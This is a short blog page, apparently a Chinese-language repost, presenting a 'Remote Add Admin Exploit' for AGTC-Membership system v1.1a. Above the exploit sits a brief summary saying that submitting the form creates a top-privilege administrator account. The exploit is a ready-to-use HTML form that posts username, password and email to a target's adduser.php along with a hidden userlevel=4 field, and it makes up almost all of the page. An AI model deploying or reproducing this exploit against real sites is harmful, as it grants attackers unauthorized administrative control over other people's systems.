Admin Added Access

最新推荐文章于 2023-11-09 18:03:53 发布

kzh4435

最新推荐文章于 2023-11-09 18:03:53 发布

阅读量3.1k

点赞数

文章标签： input border action access system table

本文链接：https://blog.youkuaiyun.com/kzh4435/article/details/1859674

版权

本文介绍了一个针对 AGTC-Membershipsystemv1.1a 的远程添加管理员漏洞利用方式。通过提交特定表单，攻击者可以创建拥有最高权限的管理员账户。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

<form name="form1" method="post" action="http://[target]/adduser.php">
<h3 align="center">AGTC-Membership system v1.1a (adduser) Remote Add
Admin Exploit</h3>
<table width="40%" border="1" align="center" bordercolor="#000000">
    <tr>
      <td width="20%"><div align="right"><strong>User Name:</strong></div></td>
      <td width="40%"><input name="username" type="text" id="username" value="" maxlength="15"></td>
    </tr>
    <tr>
      <td><div align="right"><strong>Password:</strong></div></td>
      <td><input name="userpass" type="password" id="userpass" value="" maxlength="15"></td>
    </tr>
<tr>
      <td><div align="right"><strong>Email Address:</strong></div></td>
      <td><input name="useremail" type="text" id="useremail" value="" maxlength="25"></td>
    </tr>
      <input name="userlevel" type="hidden" id="userlevel" value="4">
    <tr>
      <td> </td>
      <td><input type="submit" name="Submit" value="Add User">
        <input type="reset" name="Submit2" value="Reset"></form></td>
    </tr>
</table>